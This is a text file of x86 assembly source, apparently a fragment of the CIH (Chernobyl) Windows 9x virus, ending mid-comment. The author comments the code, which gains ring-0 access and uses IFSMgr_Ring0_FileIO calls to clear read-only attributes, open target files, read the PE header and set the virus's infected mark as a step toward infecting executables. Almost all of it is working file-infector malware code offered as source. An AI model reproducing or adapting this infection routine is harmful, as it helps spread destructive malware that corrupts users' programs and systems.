cih1.4.txt

1. Create the Virus Program. * * 2. The Virus Modifies IDT to Get Ring0 Privilege.

                                                                                 
                        mov     ax, 4300h                                        
                        int     20h     ; VXDCall IFSMgr_Ring0_FileIO            
IFSMgr_Ring0_FileIO     =       $                                                
                        dd      00400032h                                        
                                                                                 
                        jc      DisableOnBusy                                    
                                                                                 
                        push    ecx                                              
                                                                                 
; *************************************                                          
; * Get IFSMgr_Ring0_FileIO Address   *                                          
; *************************************                                          
                                                                                 
                        mov     edi, dword ptr (IFSMgr_Ring0_FileIO-@7)[esi]     
                        mov     edi, [edi]                                       
                                                                                 
; *************************************                                          
; * Is Read-Only File !?              *                                          
; *************************************                                          
                                                                                 
                        test    cl, 01h                                          
                        jz      OpenFile                                         
                                                                                 
; *************************************                                          
; * Modify Read-Only File to Write    *                                          
; *************************************                                          
                                                                                 
                        mov     ax, 4301h                                        
                        xor     ecx, ecx                                         
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                 
; *************************************                                          
; * Open File                         *                                          
; *************************************                                          
                                                                                 
OpenFile:                                                                        
                        xor     eax, eax                                         
                        mov     ah, 0d5h                                         
                        xor     ecx, ecx                                         
                        xor     edx, edx                                         
                        inc     edx                                              
                        mov     ebx, edx                                         
                        inc     ebx                                              
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                 
                        xchg    ebx, eax        ; mov ebx, FileHandle            
                                                                                 
; *************************************                                          
; * Need to Restore                   *                                          
; * Attributes of the File !?         *                                          
; *************************************                                          
                                                                                 
                        pop     ecx                                              
                                                                                 
                        pushf                                                    
                                                                                 
                        test    cl, 01h                                          
                        jz      IsOpenFileOK                                     
                                                                                 
; *************************************                                          
; * Restore Attributes of the File    *                                          
; *************************************                                          
                                                                                 
                        mov     ax, 4301h                                        
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                 
; *************************************                                          
; * Is Open File OK !?                *                                          
; *************************************                                          
                                                                                 
IsOpenFileOK:                                                                    
                        popf                                                     
                                                                                 
                        jc      DisableOnBusy                                    
                                                                                 
; *************************************                                          
; * Open File Already Succeed.   ^__^ *                                          
; *************************************                                          
                                                                                 
                        push    esi     ; Push FileNameBuffer Address to Stack   
                                                                                 
                        pushf           ; Now CF = 0, Push Flag to Stack         
                                                                                 
                        add     esi, DataBuffer-@7 ; mov esi, offset DataBuffer  
                                                                                 
; ***************************                                                    
; * Get OffsetToNewHeader   *                                                    
; ***************************                                                    
                                                                                 
                        xor     eax, eax                                         
                        mov     ah, 0d6h                                         
                                                                                 
                        ; For Doing Minimal VirusCode's Length,                  
                        ; I Save EAX to EBP.                                     
                        mov     ebp, eax                                         
                                                                                 
                        push    00000004h                                        
                        pop     ecx                                              
                        push    0000003ch                                        
                        pop     edx                                              
                        call    edi     ; VXDCall IFSMgr_Ring0_FileIO            
                                                                                 
; * EDX = 'PE\0\0' Signature of       *                                          
; *       ImageFileHeader Pointer's   *                                          
; *       Former Byte.                *                                          
; * ESI = DataBuffer Address ==> @8   *                                          
; * EDI = IFSMgr_Ring0_FileIO Address *                                          
; * EBP = D600h ==> Read Data in File *                                          
; *************************************                                          
; * Stack Dump :                      *                                          
; *                                   *                                          
; * ESP => -------------------------  *                                          
; *        |       EFLAG(CF=0)     |  *                                          
; *        -------------------------  *                                          
; *        | FileNameBufferPointer |  *                                          
; *        -------------------------  *                                          
; *        |          EDI          |  *                                          
; *        -------------------------  *                                          
; *        |          ESI          |  *                                          
; *        -------------------------  *                                          
; *        |          EBP          |  *                                          
; *        -------------------------  *                                          
; *        |          ESP          |  *                                          
; *        -------------------------  *                                          
; *        |          EBX          |  *                                          
; *        -------------------------  *                                          
; *        |          EDX          |  *                                          
; *        -------------------------  *                                          
; *        |          ECX          |  *                                          
; *        -------------------------  *                                          
; *        |          EAX          |  *                                          
; *        -------------------------  *                                          
; *        |     Return Address    |  *                                          
; *        -------------------------  *                                          
; *************************************                                          
                                                                                 
                        push    ebx     ; Save File Handle                       
                                                                                 
                        push    00h     ; Set VirusCodeSectionTableEndMark       
                                                                                 
; ***************************                                                    
; * Let's Set the           *                                                    
; * Virus' Infected Mark    *                                                    
; ***************************                                                    
                                                                                 
                        push    01h     ; Size                                   
                        push    edx     ; Pointer of File                        
                        push    edi     ; Address of Buffer                      
                                                                                 
; ***************************                                                    
; * Save ESP Register       *                                                    
; ***************************                                                    
                                                                                 
                        mov     dr1, esp                                         
                                                                                 
; ***************************                                                    
; * Let's Set the           *